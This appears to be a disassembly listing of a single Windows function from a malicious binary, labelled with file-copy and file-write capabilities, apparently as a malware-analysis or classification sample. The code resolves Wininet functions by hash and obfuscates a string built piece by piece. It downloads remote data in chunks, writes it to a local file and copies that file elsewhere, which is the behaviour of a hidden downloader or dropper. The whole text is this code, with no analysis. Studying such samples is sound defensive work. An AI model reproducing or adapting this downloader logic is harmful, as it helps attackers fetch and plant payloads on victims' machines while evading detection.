Function at 0x40ba70
Capabilities:
Copy file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b13b
mov eax, dword fs:[0]
push eax
mov eax, 0x1a44
call fcn.0041a7c0
mov eax, dword [0x434a20]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x42c765
lea ecx, [ebp - 0xa28]
call fcn.0040ecd0
mov dword [ebp - 4], 0
mov dword [ebp - 0xa2c], 0
push str._NdrmX4peRX__o_:eQ
push 0x74
push str.ITmki:qsVzeLW_u
push str.KWSPqJ4rF69w0EB:c_
call fcn.00408c60
add esp, 0x10
push 0x800
push 0
lea eax, [ebp - 0xa24]
push eax
call fcn.004193c0
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x11c]
push ecx
call fcn.004193c0
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x224]
push edx
call fcn.004193c0
add esp, 0xc
push 0x42caf0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe8
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42ca80
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str._:y_
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str._:y_
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbc8
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbcc
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbc4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb80
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc14
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbc4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb84
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb88
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd8
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d454
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cab8
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe8
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc14
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb88
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbc0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.fvW0_IRR_uLAtJ2dz
push 0xf2
push str.OmkXHsL_sJ5SjKH5XgE
push 0x1a
call fcn.00407ce0
add esp, 0x10
push str._:y_
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb0c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe8
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc14
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe8
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42caf0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe8
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d2e0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb84
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbdc
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.mnlif2rtadpUPG
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d428
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.ZfAWypnijlWJiHO
push 0xc
push str.Vtoxx9qE3UMPU7YxX
push 0x1d
call fcn.00407ce0
add esp, 0x10
push 0x42cbe4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d438
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d42c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d428
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d428
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.LgZj2tMx7WreVh
push 0x40
push 0xaf
push 0xb0
call fcn.00402a40
add esp, 0x10
push 0x42d43c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d410
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d438
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d42c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d42c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d438
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d438
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.kC_W_uk1:jIIsmW3UN
push str._FIl58xyRlU8f
call fcn.00407e80
add esp, 8
push 0x42d438
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d42c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d43c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d42c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d410
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d410
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d428
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d42c
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cb60
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.57809631
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d410
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d410
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbd4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d434
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d440
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push str.PnUFpedB_pY
call fcn.00404250
add esp, 4
push 0x42d428
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d430
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe0
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d428
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cab4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d428
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cbe4
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42cc10
lea ecx, [ebp - 0xa28]
call fcn.0040e680
push 0x42d438
lea ecx, [ebp - 0xa28]
call fcn.0040e680
lea ecx, [ebp - 0xa28]
call fcn.0040e800
push eax
lea eax, [ebp - 0xa24]
push eax
call fcn.0041a680
add esp, 8
lea ecx, [ebp - 0xa28]
push ecx
lea edx, [ebp - 0xa24]
push edx
lea eax, [ebp - 0x1a48]
push eax
call fcn.00408fe0
add esp, 0xc
mov dword [ebp - 0x1a50], eax
mov ecx, dword [ebp - 0x1a50]
mov edx, dword [ecx]
push edx
push 0x42d3d4
lea eax, [ebp - 0x224]
push eax
call fcn.0041a815
add esp, 0xc
lea ecx, [ebp - 0x1a48]
call fcn.0040ed50
push 0x42c765
lea ecx, [ebp - 0x224]
push ecx
push 2
push 0x42c560
push 0x4345a47b
call fcn.004025a0
add esp, 0x14
test eax, eax
je 0x40c92c
lea edx, [ebp - 0x224]
push edx
push 0x436350
push str._s_s
lea eax, [ebp - 0x11c]
push eax
call fcn.0041a815
add esp, 0x10
push str.92TYB1i6f9rjG3S9OO_
call fcn.00403eb0
add esp, 4
push 0
push 0
push 0
push 0
mov ecx, dword [0x436e28]
push ecx
push 5
push str.Wininet.dll
push 0x247f1858
call fcn.004025a0
add esp, 0x20
mov dword [ebp - 0xa30], eax
cmp dword [ebp - 0xa30], 0
je 0x40c92c
push 0
push 0x4000000
push 0
push 0
mov edx, dword [ebp - 0xa28]
push edx
mov eax, dword [ebp - 0xa30]
push eax
push 6
push str.Wininet.dll
push 0xf196ca57
call fcn.004025a0
add esp, 0x24
mov dword [ebp - 0xa34], eax
cmp dword [ebp - 0xa34], 0
je 0x40c911
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xa38], eax
cmp dword [ebp - 0xa38], 0xffffffff
je 0x40c8f6
mov dword [ebp - 0xa3c], 0
mov dword [ebp - 0xa44], 0
push str.b_1f6AV5T0GMX
push 0x91
push 0x7a
push 0x47
call fcn.00408010
add esp, 0x10
lea edx, [ebp - 0xa44]
push edx
push 0x1000
lea eax, [ebp - 0x1a44]
push eax
mov ecx, dword [ebp - 0xa34]
push ecx
push 4
push str.Wininet.dll
push 0xa524780b
call fcn.004025a0
add esp, 0x1c
mov dword [ebp - 0xa3c], eax
cmp dword [ebp - 0xa3c], 0
je 0x40c87f
cmp dword [ebp - 0xa44], 0
jbe 0x40c87f
push 0
lea edx, [ebp - 0xa40]
push edx
mov eax, dword [ebp - 0xa44]
push eax
lea ecx, [ebp - 0x1a44]
push ecx
mov edx, dword [ebp - 0xa38]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push str.P:81A05FlKaw_DTiQw
push 0xd1
push 0xee
push 0xbb
call fcn.00403c50
add esp, 0x10
lea eax, [ebp - 0xa44]
push eax
push 0x1000
lea ecx, [ebp - 0x1a44]
push ecx
mov edx, dword [ebp - 0xa34]
push edx
push 4
push str.Wininet.dll
push 0xa524780b
call fcn.004025a0
add esp, 0x1c
mov dword [ebp - 0xa3c], eax
jmp 0x40c7f0
mov eax, dword [ebp - 0xa38]
push eax
push 1
push 0x42c560
push 0x1e7c70d5
call fcn.004025a0
add esp, 0x10
lea ecx, [ebp - 0x11c]
push ecx
call fcn.0040a680
add esp, 4
test eax, eax
je 0x40c8f6
push 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40c8f6
lea ecx, [ebp - 0x11c]
push ecx
push 1
push 0x42c560
push 0x210b82b2
call fcn.004025a0
add esp, 0x10
mov dword [ebp - 0xa2c], 1
push str.z7tJq_LGtbcoAPXfQ
call fcn.00403eb0
add esp, 4
mov edx, dword [ebp - 0xa34]
push edx
push 1
push str.Wininet.dll
push 0x565c89f7
call fcn.004025a0
add esp, 0x10
mov eax, dword [ebp - 0xa30]
push eax
push 1
push str.Wininet.dll
push 0x565c89f7
call fcn.004025a0
add esp, 0x10
mov ecx, dword [ebp - 0xa2c]
mov dword [ebp - 0x1a4c], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa28]
call fcn.0040ed50
mov eax, dword [ebp - 0x1a4c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041943a
mov esp, ebp
pop ebp
ret